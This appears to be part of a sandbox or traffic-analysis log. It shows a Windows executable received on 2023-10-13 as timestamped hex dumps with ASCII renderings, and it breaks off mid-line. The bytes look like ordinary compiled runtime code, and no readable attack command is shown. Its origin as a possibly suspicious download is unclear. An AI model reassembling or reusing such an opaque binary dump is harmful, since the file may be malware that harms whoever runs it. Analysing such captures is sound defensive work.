fe ff ff Data Ascii: @Y<v8VK;jh@+QPFt3VVVVV3h@SW3FtVVVVVE4SWFtVVVVVwh h@WD2jD@;t$tjEP46YP6S@@_^[jFYtjFYu=$uh)
2023-10-13 14:06:10 UTC	330	IN	Data Raw: e8 fd 14 00 00 68 04 01 00 00 be 88 c2 80 00 56 53 88 1d 8c c3 80 00 ff 15 48 11 40 00 a1 74 5c fa 02 89 35 48 bf 80 00 3b c3 74 07 89 45 fc 38 18 75 03 89 75 fc 8b 55 fc 8d 45 f8 50 53 53 8d 7d f4 e8 0a fe ff ff 8b 45 f8 83 c4 0c 3d ff ff ff 3f 73 4a 8b 4d f4 83 f9 ff 73 42 8b f8 c1 e7 02 8d 04 0f 3b c1 72 36 50 e8 00 eb ff ff 8b f0 59 3b f3 74 29 8b 55 fc 8d 45 f8 50 03 fe 57 56 8d 7d f4 e8 c9 fd ff ff 8b 45 f8 83 c4 0c 48 a3 2c bf 80 00 89 35 30 bf 80 00 33 c0 eb 03 83 c8 ff 5f 5e 5b c9 c3 8b ff 55 8b ec a1 90 c3 80 00 83 ec 0c 53 56 8b 35 58 11 40 00 57 33 db 33 ff 3b c3 75 2e ff d6 8b f8 3b fb 74 0c c7 05 90 c3 80 00 01 00 00 00 eb 23 ff 15 5c 10 40 00 83 f8 78 75 0a 6a 02 58 a3 90 c3 80 00 eb 05 a1 90 c3 80 00 83 f8 01 0f 85 81 00 00 00 3b fb 75 0f Data Ascii: hVSH@t\5H;tE8uuUEPSS}E=?sJMsB;r6PY;t)UEPWV}EH,503_^[USV5X@W33;u.;t#\@xujX;u
2023-10-13 14:06:10 UTC	331	IN	Data Raw: 40 00 89 45 f8 3b c7 75 13 ff 15 5c 10 40 00 85 c0 74 09 50 e8 e6 c1 ff ff 59 eb cf 8b c6 c1 f8 05 8b 04 85 20 4b fa 02 83 e6 1f c1 e6 06 8d 44 30 04 80 20 fd 8b 45 f8 8b 55 fc 5f 5e c9 c3 8b ff 55 8b ec b8 e4 1a 00 00 e8 a9 46 00 00 a1 88 a6 80 00 33 c5 89 45 fc 8b 45 0c 56 33 f6 89 85 34 e5 ff ff 89 b5 38 e5 ff ff 89 b5 30 e5 ff ff 39 75 10 75 07 33 c0 e9 e9 06 00 00 3b c6 75 27 e8 67 c1 ff ff 89 30 e8 4d c1 ff ff 56 56 56 56 56 c7 00 16 00 00 00 e8 d5 c0 ff ff 83 c4 14 83 c8 ff e9 be 06 00 00 53 57 8b 7d 08 8b c7 c1 f8 05 8d 34 85 20 4b fa 02 8b 06 83 e7 1f c1 e7 06 03 c7 8a 58 24 02 db d0 fb 89 b5 28 e5 ff ff 88 9d 27 e5 ff ff 80 fb 02 74 05 80 fb 01 75 30 8b 4d 10 f7 d1 f6 c1 01 75 26 e8 fe c0 ff ff 33 f6 89 30 e8 e2 c0 ff ff 56 56 56 56 56 c7 00 16 Data Ascii: @E;u\@tPY KD0 EU_^UF3EEV34809uu3;u'g0MVVVVVSW}4 KX$('tu0Mu&30VVVVV
2023-10-13 14:06:10 UTC	332	IN	Data Raw: 53 8d 85 48 e5 ff ff 50 8b 06 ff 34 07 ff 15 40 11 40 00 85 c0 0f 84 62 01 00 00 8b 85 2c e5 ff ff 01 85 38 e5 ff ff 3b c3 0f 8c 5a 01 00 00 8b 85 44 e5 ff ff 2b 85 34 e5 ff ff 3b 45 10 0f 82 3f ff ff ff e9 40 01 00 00 39 4d 10 0f 86 7c 01 00 00 8b 8d 44 e5 ff ff 83 a5 3c e5 ff ff 00 2b 8d 34 e5 ff ff 6a 02 8d 85 48 f9 ff ff 5e 3b 4d 10 73 3c 8b 95 44 e5 ff ff 0f b7 12 01 b5 44 e5 ff ff 03 ce 66 83 fa 0a 75 0e 6a 0d 5b 66 89 18 03 c6 01 b5 3c e5 ff ff 01 b5 3c e5 ff ff 66 89 10 03 c6 81 bd 3c e5 ff ff a8 06 00 00 72 bf 33 f6 56 56 68 55 0d 00 00 8d 8d f0 eb ff ff 51 8d 8d 48 f9 ff ff 2b c1 99 2b c2 d1 f8 50 8b c1 50 56 68 e9 fd 00 00 ff 15 54 11 40 00 8b d8 3b de 0f 84 97 00 00 00 6a 00 8d 85 2c e5 ff ff 50 8b c3 2b c6 50 8d 84 35 f0 eb ff ff 50 8b 85 28 Data Ascii: SHP4@@b,8;ZD+4;E?@9M\|D<+4jH^;Ms<DDfuj[f<<f<r3VVhUQH++PPVhT@;j,P+P5P(
2023-10-13 14:06:10 UTC	334	IN	Data Raw: 50 57 8d 85 fc fe ff ff 50 57 ff 76 0c 53 e8 af 40 00 00 83 c4 44 53 ff 76 04 8d 85 fc fc ff ff 57 50 57 8d 85 fc fe ff ff 50 68 00 02 00 00 ff 76 0c 53 e8 8a 40 00 00 83 c4 24 33 c0 0f b7 8c 45 fc fa ff ff f6 c1 01 74 0e 80 4c 06 1d 10 8a 8c 05 fc fd ff ff eb 11 f6 c1 02 74 15 80 4c 06 1d 20 8a 8c 05 fc fc ff ff 88 8c 06 1d 01 00 00 eb 08 c6 84 06 1d 01 00 00 00 40 3b c7 72 be eb 56 8d 86 1d 01 00 00 c7 85 e4 fa ff ff 9f ff ff ff 33 c9 29 85 e4 fa ff ff 8b 95 e4 fa ff ff 8d 84 0e 1d 01 00 00 03 d0 8d 5a 20 83 fb 19 77 0c 80 4c 0e 1d 10 8a d1 80 c2 20 eb 0f 83 fa 19 77 0e 80 4c 0e 1d 20 8a d1 80 ea 20 88 10 eb 03 c6 00 00 41 3b cf 72 c2 8b 4d fc 5f 33 cd 5b e8 50 08 00 00 c9 c3 6a 0c 68 68 8b 80 00 e8 e1 cf ff ff e8 24 d8 ff ff 8b f8 a1 cc ac 80 00 85 47 Data Ascii: PWPWvS@DSvWPWPhvS@$3EtLtL @;rV3)Z wL wL A;rM_3[Pjhh$G
2023-10-13 14:06:10 UTC	335	IN	Data Raw: 75 20 81 fb a8 a7 80 00 74 07 53 e8 a2 aa ff ff 59 e8 45 b2 ff ff c7 00 16 00 00 00 eb 04 83 65 e0 00 8b 45 e0 e8 94 cb ff ff c3 83 3d 50 5c fa 02 00 75 12 6a fd e8 56 fe ff ff 59 c7 05 50 5c fa 02 01 00 00 00 33 c0 c3 8b ff 55 8b ec 53 56 8b 75 08 8b 86 bc 00 00 00 33 db 57 3b c3 74 6f 3d e8 ae 80 00 74 68 8b 86 b0 00 00 00 3b c3 74 5e 39 18 75 5a 8b 86 b8 00 00 00 3b c3 74 17 39 18 75 13 50 e8 29 aa ff ff ff b6 bc 00 00 00 e8 f0 3e 00 00 59 59 8b 86 b4 00 00 00 3b c3 74 17 39 18 75 13 50 e8 08 aa ff ff ff b6 bc 00 00 00 e8 8a 3e 00 00 59 59 ff b6 b0 00 00 00 e8 f0 a9 ff ff ff b6 bc 00 00 00 e8 e5 a9 ff ff 59 59 8b 86 c0 00 00 00 3b c3 74 44 39 18 75 40 8b 86 c4 00 00 00 2d fe 00 00 00 50 e8 c4 a9 ff ff 8b 86 cc 00 00 00 bf 80 00 00 00 2b c7 50 e8 b1 a9 Data Ascii: u tSYEeE=P\ujVYP\3USVu3W;to=th;t^9uZ;t9uP)>YY;t9uP>YYYY;tD9u@-P+P
2023-10-13 14:06:10 UTC	336	IN	Data Raw: 8b ec 83 ec 18 33 c0 53 89 45 fc 89 45 f4 89 45 f8 53 9c 58 8b c8 35 00 00 20 00 50 9d 9c 5a 2b d1 74 1f 51 9d 33 c0 0f a2 89 45 f4 89 5d e8 89 55 ec 89 4d f0 b8 01 00 00 00 0f a2 89 55 fc 89 45 f8 5b f7 45 fc 00 00 00 04 74 0e e8 5c ff ff ff 85 c0 74 05 33 c0 40 eb 02 33 c0 5b c9 c3 e8 99 ff ff ff a3 14 4b fa 02 33 c0 c3 8b ff 55 8b ec 83 ec 10 56 ff 75 0c 8d 4d f0 e8 5c aa ff ff 8b 75 08 0f be 06 50 e8 45 3f 00 00 83 f8 65 eb 0c 46 0f b6 06 50 e8 f3 3d 00 00 85 c0 59 75 f1 0f be 06 50 e8 28 3f 00 00 59 83 f8 78 75 02 46 46 8b 4d f0 8b 89 bc 00 00 00 8b 09 8a 06 8a 09 88 0e 46 8a 0e 88 06 8a c1 8a 0e 46 84 c9 75 f3 5e 38 4d fc 74 07 8b 45 f8 83 60 70 fd c9 c3 8b ff 55 8b ec 83 ec 10 56 ff 75 0c 8d 4d f0 e8 e9 a9 ff ff 8b 45 08 8a 08 8b 75 f0 84 c9 74 15 Data Ascii: 3SEEESX5 PZ+tQ3E]UMUE[Et\t3@3[K3UVuM\uPE?eFP=YuP(?YxuFFMFFu^8MtE`pUVuMEut
2023-10-13 14:06:10 UTC	338	IN	Data Raw: 61 70 fd e9 8a 02 00 00 80 3b 2d 75 04 c6 06 2d 46 c6 06 30 46 83 7d 18 00 6a 65 0f 94 c0 fe c8 24 e0 04 78 88 06 46 56 e8 8a 38 00 00 59 59 85 c0 0f 84 4c 02 00 00 83 7d 18 00 0f 94 c1 fe c9 80 e1 e0 80 c1 70 88 08 c6 40 03 00 e9 32 02 00 00 25 00 00 00 80 33 c9 0b c8 74 04 c6 06 2d 46 8b 5d 18 c6 06 30 46 85 db 0f 94 c0 fe c8 24 e0 04 78 88 06 8b 4f 04 46 f7 db 1b db 83 e3 e0 81 e1 00 00 f0 7f 33 c0 83 c3 27 33 d2 0b c1 75 21 c6 06 30 8b 4f 04 8b 07 81 e1 ff ff 0f 00 46 0b c1 75 05 89 55 ec eb 0d c7 45 ec fe 03 00 00 eb 04 c6 06 31 46 8b c6 46 89 45 0c 39 55 14 75 04 88 10 eb 0f 8b 4d dc 8b 89 bc 00 00 00 8b 09 8a 09 88 08 8b 4f 04 8b 07 81 e1 ff ff 0f 00 89 4d f8 77 08 3b c2 0f 86 b5 00 00 00 89 55 f4 c7 45 f8 00 00 0f 00 83 7d 14 00 7e 4d 8b 57 04 23 Data Ascii: ap;-u-F0F}je$xFV8YYL}p@2%3t-F]0F$xOF3'3u!0OFuUE1FFE9UuMOMw;UE}~MW#
2023-10-13 14:06:10 UTC	339	IN	Data Raw: 19 ff 75 20 ff 75 18 ff 75 10 ff 75 0c ff 75 08 e8 20 fe ff ff 83 c4 14 5d c3 83 f8 61 74 1e 83 f8 41 74 19 ff 75 20 ff 75 1c ff 75 18 ff 75 10 ff 75 0c ff 75 08 e8 b5 fe ff ff eb 30 ff 75 20 ff 75 1c ff 75 18 ff 75 10 ff 75 0c ff 75 08 e8 77 f9 ff ff eb 17 ff 75 20 ff 75 1c ff 75 18 ff 75 10 ff 75 0c ff 75 08 e8 6e f8 ff ff 83 c4 18 5d c3 8b ff 55 8b ec 6a 00 ff 75 1c ff 75 18 ff 75 14 ff 75 10 ff 75 0c ff 75 08 e8 5a ff ff ff 83 c4 1c 5d c3 8b ff 56 68 00 00 03 00 68 00 00 01 00 33 f6 56 e8 03 39 00 00 83 c4 0c 85 c0 74 0d 56 56 56 56 56 e8 05 a0 ff ff 83 c4 14 5e c3 8b ff 55 8b ec 83 ec 18 dd 05 d0 1b 40 00 dd 5d f0 dd 05 c8 1b 40 00 dd 5d e8 dd 45 e8 dc 75 f0 dc 4d f0 dc 6d e8 dd 5d f8 d9 e8 dc 5d f8 df e0 f6 c4 05 7a 05 33 c0 40 c9 c3 33 c0 c9 c3 68 Data Ascii: u uuuu ]atAtu uuuuu0u uuuuuwu uuuuun]UjuuuuuuZ]Vhh3V9tVVVVV^U@]@]EuMm]]z3@3h
2023-10-13 14:06:10 UTC	340	IN	Data Raw: 03 c8 0f b7 41 14 53 56 0f b7 71 06 33 d2 57 8d 44 08 18 85 f6 76 1b 8b 7d 0c 8b 48 0c 3b f9 72 09 8b 58 08 03 d9 3b fb 72 0a 42 83 c0 28 3b d6 72 e8 33 c0 5f 5e 5b 5d c3 cc cc cc cc cc cc cc cc cc cc cc cc 8b ff 55 8b ec 6a fe 68 08 8c 80 00 68 60 5a 40 00 64 a1 00 00 00 00 50 83 ec 08 53 56 57 a1 88 a6 80 00 31 45 f8 33 c5 50 8d 45 f0 64 a3 00 00 00 00 89 65 e8 c7 45 fc 00 00 00 00 68 00 00 40 00 e8 2a ff ff ff 83 c4 04 85 c0 74 55 8b 45 08 2d 00 00 40 00 50 68 00 00 40 00 e8 50 ff ff ff 83 c4 08 85 c0 74 3b 8b 40 24 c1 e8 1f f7 d0 83 e0 01 c7 45 fc fe ff ff ff 8b 4d f0 64 89 0d 00 00 00 00 59 5f 5e 5b 8b e5 5d c3 8b 45 ec 8b 08 8b 01 33 d2 3d 05 00 00 c0 0f 94 c2 8b c2 c3 8b 65 e8 c7 45 fc fe ff ff ff 33 c0 8b 4d f0 64 89 0d 00 00 00 00 59 5f 5e 5b 8b Data Ascii: ASVq3WDv}H;rX;rB(;r3_^[]Ujhh`Z@dPSVW1E3PEdeEh@*tUE-@Ph@Pt;@$EMdY_^[]E3=eE3MdY_^[
2023-10-13 14:06:10 UTC	342	IN	Data Raw: 50 e8 bd a5 ff ff 59 33 c0 89 45 fc 83 fb 08 74 0a 83 fb 0b 74 05 83 fb 04 75 1b 8b 4f 60 89 4d d4 89 47 60 83 fb 08 75 40 8b 4f 64 89 4d d0 c7 47 64 8c 00 00 00 83 fb 08 75 2e 8b 0d 58 a7 80 00 89 4d dc 8b 0d 5c a7 80 00 8b 15 58 a7 80 00 03 ca 39 4d dc 7d 19 8b 4d dc 6b c9 0c 8b 57 5c 89 44 11 08 ff 45 dc eb db e8 41 b6 ff ff 89 06 c7 45 fc fe ff ff ff e8 15 00 00 00 83 fb 08 75 1f ff 77 64 53 ff 55 e0 59 eb 19 8b 5d 08 8b 7d d8 83 7d e4 00 74 08 6a 00 e8 4b a4 ff ff 59 c3 53 ff 55 e0 59 83 fb 08 74 0a 83 fb 0b 74 05 83 fb 04 75 11 8b 45 d4 89 47 60 83 fb 08 75 06 8b 45 d0 89 47 64 33 c0 e8 35 b0 ff ff c3 8b ff 55 8b ec 8b 45 08 a3 f4 c3 80 00 5d c3 8b ff 55 8b ec 8b 45 08 a3 00 c4 80 00 5d c3 6a 10 68 68 8c 80 00 e8 c5 af ff ff 33 db 89 5d e4 6a 01 e8 Data Ascii: PY3EttuO`MG`u@OdMGdu.XM\X9M}MkW\DEAEuwdSUY]}}tjKYSUYttuEG`uEGd35UE]UE]jhh3]j
2023-10-13 14:06:10 UTC	343	IN	Data Raw: b8 00 00 00 c0 23 c8 3b c8 75 2b f6 45 10 01 74 25 81 65 f8 ff ff ff 7f 53 ff 75 f4 8d 45 d0 ff 75 ec 50 ff 75 f0 ff 75 f8 ff 75 0c ff d7 89 45 e4 83 f8 ff 75 34 8b 36 8b c6 c1 f8 05 8b 04 85 20 4b fa 02 83 e6 1f c1 e6 06 8d 44 30 04 80 20 fe ff 15 5c 10 40 00 50 e8 0e 92 ff ff 59 e8 e2 91 ff ff 8b 00 e9 74 04 00 00 ff 75 e4 ff 15 60 11 40 00 3b c3 75 44 8b 36 8b c6 c1 f8 05 8b 04 85 20 4b fa 02 83 e6 1f c1 e6 06 8d 44 30 04 80 20 fe ff 15 5c 10 40 00 8b f0 56 e8 cb 91 ff ff 59 ff 75 e4 ff 15 90 11 40 00 3b f3 75 b0 e8 92 91 ff ff c7 00 0d 00 00 00 eb a3 83 f8 02 75 06 80 4d ff 40 eb 09 83 f8 03 75 04 80 4d ff 08 ff 75 e4 ff 36 e8 af 10 00 00 8b 06 8b d0 83 e0 1f c1 fa 05 8b 14 95 20 4b fa 02 59 c1 e0 06 59 8a 4d ff 80 c9 01 88 4c 02 04 8b 06 8b d0 83 e0 Data Ascii: #;u+Et%eSuEuPuuuEu46 KD0 \@PYtu`@;uD6 KD0 \@VYu@;uuM@uMu6 KYYML
2023-10-13 14:06:10 UTC	344	IN	Data Raw: ff 83 c4 14 89 45 e0 c7 45 fc fe ff ff ff e8 15 00 00 00 8b 45 e0 3b c6 74 03 83 0f ff e8 2d a6 ff ff c3 33 f6 8b 7d 18 39 75 e4 74 28 39 75 e0 74 1b 8b 07 8b c8 c1 f9 05 83 e0 1f c1 e0 06 8b 0c 8d 20 4b fa 02 8d 44 01 04 80 20 fe ff 37 e8 f9 0d 00 00 59 c3 8b ff 55 8b ec 6a 01 ff 75 08 ff 75 18 ff 75 14 ff 75 10 ff 75 0c e8 19 ff ff ff 83 c4 18 5d c3 8b ff 55 8b ec 83 ec 18 53 ff 75 14 8d 4d e8 e8 3c 8a ff ff 33 db 39 5d 10 75 13 38 5d f4 74 07 8b 45 f0 83 60 70 fd 33 c0 e9 e6 01 00 00 8b 45 ec 39 58 08 75 26 ff 75 10 ff 75 0c ff 75 08 e8 76 32 00 00 83 c4 0c 38 5d f4 0f 84 c4 01 00 00 8b 4d f0 83 61 70 fd e9 b8 01 00 00 39 5d 08 75 2e e8 10 8c ff ff 53 53 53 53 53 c7 00 16 00 00 00 e8 98 8b ff ff 83 c4 14 38 5d f4 74 07 8b 45 f0 83 60 70 fd b8 ff ff ff Data Ascii: EEE;t-3}9ut(9ut KD 7YUjuuuuu]USuM<39]u8]tE`p3E9Xu&uuuv28]Map9]u.SSSSS8]tE`p
2023-10-13 14:06:10 UTC	346	IN	Data Raw: bb 00 ae 80 00 8b 4c 24 0c 89 4b 08 89 43 04 89 6b 0c 55 51 50 58 59 5d 59 5b c2 04 00 ff d0 c3 8b ff 55 8b ec 83 ec 14 53 56 57 e8 74 a6 ff ff 83 65 fc 00 83 3d 44 c4 80 00 00 8b d8 0f 85 8e 00 00 00 68 7c 23 40 00 ff 15 8c 11 40 00 8b f8 85 ff 0f 84 2a 01 00 00 8b 35 60 10 40 00 68 70 23 40 00 57 ff d6 85 c0 0f 84 14 01 00 00 50 e8 be a5 ff ff c7 04 24 60 23 40 00 57 a3 44 c4 80 00 ff d6 50 e8 a9 a5 ff ff c7 04 24 4c 23 40 00 57 a3 48 c4 80 00 ff d6 50 e8 94 a5 ff ff c7 04 24 30 23 40 00 57 a3 4c c4 80 00 ff d6 50 e8 7f a5 ff ff 59 a3 54 c4 80 00 85 c0 74 14 68 18 23 40 00 57 ff d6 50 e8 67 a5 ff ff 59 a3 50 c4 80 00 a1 50 c4 80 00 3b c3 74 4f 39 1d 54 c4 80 00 74 47 50 e8 c5 a5 ff ff ff 35 54 c4 80 00 8b f0 e8 b8 a5 ff ff 59 59 8b f8 85 f6 74 2c 85 ff Data Ascii: L$KCkUQPXY]Y[USVWte=Dh\|#@@*5`@hp#@WP$`#@WDP$L#@WHP$0#@WLPYTth#@WPgYPP;tO9TtGP5TYYt,
2023-10-13 14:06:10 UTC	347	IN	Data Raw: 40 00 8b ff f7 d9 ff 24 8d 80 bf 40 00 8d 49 00 8b c7 ba 03 00 00 00 83 f9 04 72 0c 83 e0 03 2b c8 ff 24 85 d4 be 40 00 ff 24 8d d0 bf 40 00 90 e4 be 40 00 08 bf 40 00 30 bf 40 00 8a 46 03 23 d1 88 47 03 83 ee 01 c1 e9 02 83 ef 01 83 f9 08 72 b2 fd f3 a5 fc ff 24 95 d0 bf 40 00 8d 49 00 8a 46 03 23 d1 88 47 03 8a 46 02 c1 e9 02 88 47 02 83 ee 02 83 ef 02 83 f9 08 72 88 fd f3 a5 fc ff 24 95 d0 bf 40 00 90 8a 46 03 23 d1 88 47 03 8a 46 02 88 47 02 8a 46 01 c1 e9 02 88 47 01 83 ee 03 83 ef 03 83 f9 08 0f 82 56 ff ff ff fd f3 a5 fc ff 24 95 d0 bf 40 00 8d 49 00 84 bf 40 00 8c bf 40 00 94 bf 40 00 9c bf 40 00 a4 bf 40 00 ac bf 40 00 b4 bf 40 00 c7 bf 40 00 8b 44 8e 1c 89 44 8f 1c 8b 44 8e 18 89 44 8f 18 8b 44 8e 14 89 44 8f 14 8b 44 8e 10 89 44 8f 10 8b 44 8e Data Ascii: @$@Ir+$@$@@@0@F#Gr$@IF#GFGr$@F#GFGFGV$@I@@@@@@@@DDDDDDDDD
2023-10-13 14:06:10 UTC	348	IN	Data Raw: ff 59 c3 8b ff 55 8b ec 83 ec 10 a1 88 a6 80 00 33 c5 89 45 fc 56 33 f6 39 35 10 ae 80 00 74 4f 83 3d 34 b0 80 00 fe 75 05 e8 55 23 00 00 a1 34 b0 80 00 83 f8 ff 75 07 b8 ff ff 00 00 eb 70 56 8d 4d f0 51 6a 01 8d 4d 08 51 50 ff 15 a4 11 40 00 85 c0 75 67 83 3d 10 ae 80 00 02 75 da ff 15 5c 10 40 00 83 f8 78 75 cf 89 35 10 ae 80 00 56 56 6a 05 8d 45 f4 50 6a 01 8d 45 08 50 56 ff 15 a0 11 40 00 50 ff 15 54 11 40 00 8b 0d 34 b0 80 00 83 f9 ff 74 a2 56 8d 55 f0 52 50 8d 45 f4 50 51 ff 15 9c 11 40 00 85 c0 74 8d 66 8b 45 08 8b 4d fc 33 cd 5e e8 a6 cd ff ff c9 c3 c7 05 10 ae 80 00 01 00 00 00 eb e3 8b ff 55 8b ec 83 ec 10 53 56 8b 75 0c 33 db 3b f3 74 15 39 5d 10 74 10 38 1e 75 12 8b 45 08 3b c3 74 05 33 c9 66 89 08 33 c0 5e 5b c9 c3 ff 75 14 8d 4d f0 e8 ba 79 Data Ascii: YU3EV395tO=4uU#4upVMQjMQP@ug=u\@xu5VVjEPjEPV@PT@4tVURPEPQ@tfEM3^USVu3;t9]t8uE;t3f3^[uMy
2023-10-13 14:06:10 UTC	350	IN	Data Raw: ff 75 14 ff 75 f4 ff 75 0c ff 75 08 ff d6 89 45 f8 3b c3 75 04 33 f6 eb 25 ff 75 1c 8d 45 f8 ff 75 18 50 57 ff 75 20 ff 75 ec e8 90 1e 00 00 8b f0 89 75 f0 83 c4 18 f7 de 1b f6 23 75 f8 57 e8 8d fc ff ff 59 eb 1a ff 75 1c ff 75 18 ff 75 14 ff 75 10 ff 75 0c ff 75 08 ff 15 ac 11 40 00 8b f0 39 5d f4 74 09 ff 75 f4 e8 71 6f ff ff 59 8b 45 f0 3b c3 74 0c 39 45 18 74 07 50 e8 5e 6f ff ff 59 8b c6 8d 65 e0 5f 5e 5b 8b 4d fc 33 cd e8 73 c8 ff ff c9 c3 8b ff 55 8b ec 83 ec 10 ff 75 08 8d 4d f0 e8 b9 74 ff ff ff 75 28 8d 4d f0 ff 75 24 ff 75 20 ff 75 1c ff 75 18 ff 75 14 ff 75 10 ff 75 0c e8 28 fc ff ff 83 c4 20 80 7d fc 00 74 07 8b 4d f8 83 61 70 fd c9 c3 8b ff 55 8b ec 51 51 a1 88 a6 80 00 33 c5 89 45 fc a1 5c c4 80 00 53 56 33 db 57 8b f9 3b c3 75 3a 8d 45 f8 Data Ascii: uuuuE;u3%uEuPWu uu#uWYuuuuuu@9]tuqoYE;t9EtP^oYe_^[M3sUuMtu(Mu$u uuuuu( }tMapUQQ3E\SV3W;u:E
2023-10-13 14:06:10 UTC	351	IN	Data Raw: 00 8a 02 0a c0 74 09 83 c2 01 0f ab 04 24 eb f1 8b 75 08 83 c9 ff 8d 49 00 83 c1 01 8a 06 0a c0 74 09 83 c6 01 0f a3 04 24 73 ee 8b c1 83 c4 20 5e c9 c3 8b ff 55 8b ec 51 83 65 fc 00 53 8b 5d 10 85 db 75 07 33 c0 e9 9a 00 00 00 57 83 fb 04 72 75 8d 7b fc 85 ff 76 6e 8b 4d 0c 8b 45 08 8a 10 83 c0 04 83 c1 04 84 d2 74 52 3a 51 fc 75 4d 8a 50 fd 84 d2 74 3c 3a 51 fd 75 37 8a 50 fe 84 d2 74 26 3a 51 fe 75 21 8a 50 ff 84 d2 74 10 3a 51 ff 75 0b 83 45 fc 04 39 7d fc 72 c2 eb 3f 0f b6 40 ff 0f b6 49 ff eb 46 0f b6 40 fe 0f b6 49 fe eb 3c 0f b6 40 fd 0f b6 49 fd eb 32 0f b6 40 fc 0f b6 49 fc eb 28 8b 4d 0c 8b 45 08 eb 0f 8a 10 84 d2 74 14 3a 11 75 10 40 41 ff 45 fc 39 5d fc 72 ec 33 c0 5f 5b c9 c3 0f b6 00 0f b6 09 2b c1 eb f2 cc cc cc cc cc cc cc cc cc cc 55 8b Data Ascii: t$uIt$s ^UQeS]u3Wru{vnMEtR:QuMPt<:Qu7Pt&:Qu!Pt:QuE9}r?@IF@I<@I2@I(MEt:u@AE9]r3_[+U
2023-10-13 14:06:10 UTC	352	IN	Data Raw: 53 57 8d 45 d8 50 8d 45 f0 50 e8 69 20 00 00 89 45 ec 8d 45 f0 56 50 e8 d4 15 00 00 83 c4 28 f6 45 ec 03 75 2b 83 f8 01 75 11 38 5d e8 74 07 8b 45 e4 83 60 70 fd 6a 03 58 eb 2f 83 f8 02 75 1c 38 5d e8 74 07 8b 45 e4 83 60 70 fd 6a 04 eb e8 f6 45 ec 01 75 ea f6 45 ec 02 75 ce 38 5d e8 74 07 8b 45 e4 83 60 70 fd 33 c0 8b 4d fc 5f 5e 33 cd 5b e8 de bd ff ff c9 c3 8b ff 55 8b ec 83 ec 28 a1 88 a6 80 00 33 c5 89 45 fc 53 56 8b 75 08 57 ff 75 10 8b 7d 0c 8d 4d dc e8 11 6a ff ff 8d 45 dc 50 33 db 53 53 53 53 57 8d 45 d8 50 8d 45 f0 50 e8 c1 1f 00 00 89 45 ec 8d 45 f0 56 50 e8 70 1a 00 00 83 c4 28 f6 45 ec 03 75 2b 83 f8 01 75 11 38 5d e8 74 07 8b 45 e4 83 60 70 fd 6a 03 58 eb 2f 83 f8 02 75 1c 38 5d e8 74 07 8b 45 e4 83 60 70 fd 6a 04 eb e8 f6 45 ec 01 75 ea f6 Data Ascii: SWEPEPi EEVP(Eu+u8]tE`pjX/u8]tE`pjEuEu8]tE`p3M_^3[U(3ESVuWu}MjEP3SSSSWEPEPEEVPp(Eu+u8]tE`pjX/u8]tE`pjEu
2023-10-13 14:06:10 UTC	354	IN	Data Raw: 8b d1 0b d7 75 4a 8b 75 10 8b ce 83 e1 7f 89 4d e8 3b f1 74 13 2b f1 56 53 50 e8 27 ff ff ff 83 c4 0c 8b 45 08 8b 4d e8 85 c9 74 77 8b 5d 10 8b 55 0c 03 d3 2b d1 89 55 ec 03 d8 2b d9 89 5d f0 8b 75 ec 8b 7d f0 8b 4d e8 f3 a4 8b 45 08 eb 53 3b cf 75 35 f7 d9 83 c1 10 89 4d e4 8b 75 0c 8b 7d 08 8b 4d e4 f3 a4 8b 4d 08 03 4d e4 8b 55 0c 03 55 e4 8b 45 10 2b 45 e4 50 52 51 e8 4c ff ff ff 83 c4 0c 8b 45 08 eb 1a 8b 75 0c 8b 7d 08 8b 4d 10 8b d1 c1 e9 02 f3 a5 8b ca 83 e1 03 f3 a4 8b 45 08 8b 5d fc 8b 75 f8 8b 7d f4 8b e5 5d c3 8b ff 55 8b ec 53 56 8b 75 08 57 33 ff 83 cb ff 3b f7 75 1c e8 b4 66 ff ff 57 57 57 57 57 c7 00 16 00 00 00 e8 3c 66 ff ff 83 c4 14 0b c3 eb 42 f6 46 0c 83 74 37 56 e8 7d d0 ff ff 56 8b d8 e8 84 2e 00 00 56 e8 5c ad ff ff 50 e8 98 09 00 Data Ascii: uJuM;t+VSP'EMtw]U+U+]u}MES;u5Mu}MMMUUE+EPRQLEu}ME]u}]USVuW3;ufWWWWW<fBFt7V}V.V\P
2023-10-13 14:06:10 UTC	355	IN	Data Raw: 10 3b c1 72 03 89 45 10 ff 75 10 e8 50 86 ff ff 59 89 45 f4 3b c3 75 1e e8 07 62 ff ff c7 00 0c 00 00 00 e8 0f 62 ff ff c7 00 08 00 00 00 83 c8 ff e9 68 04 00 00 6a 01 53 53 ff 75 08 e8 c3 9f ff ff 8b 0f 89 44 0e 28 8b 45 f4 83 c4 10 89 54 0e 2c 8b 0f 03 ce f6 41 04 48 74 74 8a 49 05 80 f9 0a 74 6c 39 5d 10 74 67 88 08 8b 0f 40 ff 4d 10 c7 45 f0 01 00 00 00 c6 44 0e 05 0a 38 5d fe 74 4e 8b 0f 8a 4c 0e 25 80 f9 0a 74 43 39 5d 10 74 3e 88 08 8b 0f 40 ff 4d 10 80 7d fe 01 c7 45 f0 02 00 00 00 c6 44 0e 25 0a 75 24 8b 0f 8a 4c 0e 26 80 f9 0a 74 19 39 5d 10 74 14 88 08 8b 0f 40 ff 4d 10 c7 45 f0 03 00 00 00 c6 44 0e 26 0a 53 8d 4d e8 51 ff 75 10 50 8b 07 ff 34 06 ff 15 bc 10 40 00 85 c0 0f 84 7b 03 00 00 8b 4d e8 3b cb 0f 8c 70 03 00 00 3b 4d 10 0f 87 67 03 00 Data Ascii: ;rEuPYE;ubbhjSSuD(ET,AHttItl9]tg@MED8]tNL%tC9]t>@M}ED%u$L&t9]t@MED&SMQuP4@{M;p;Mg
2023-10-13 14:06:10 UTC	356	IN	Data Raw: 20 00 e8 c4 5c ff ff c7 00 09 00 00 00 83 c8 ff e9 8e 00 00 00 33 ff 3b c7 7c 08 3b 05 1c 4b fa 02 72 21 e8 b6 5c ff ff 89 38 e8 9c 5c ff ff c7 00 09 00 00 00 57 57 57 57 57 e8 24 5c ff ff 83 c4 14 eb c9 8b c8 c1 f9 05 8d 1c 8d 20 4b fa 02 8b f0 83 e6 1f c1 e6 06 8b 0b 0f be 4c 31 04 83 e1 01 74 bf 50 e8 22 dd ff ff 59 89 7d fc 8b 03 f6 44 30 04 01 74 0e ff 75 08 e8 cb fe ff ff 59 89 45 e4 eb 0f e8 41 5c ff ff c7 00 09 00 00 00 83 4d e4 ff c7 45 fc fe ff ff ff e8 09 00 00 00 8b 45 e4 e8 86 75 ff ff c3 ff 75 08 e8 7b dd ff ff 59 c3 8b ff 55 8b ec 56 8b 75 08 56 e8 53 dc ff ff 59 83 f8 ff 75 10 e8 fe 5b ff ff c7 00 09 00 00 00 83 c8 ff eb 4d 57 ff 75 10 6a 00 ff 75 0c 50 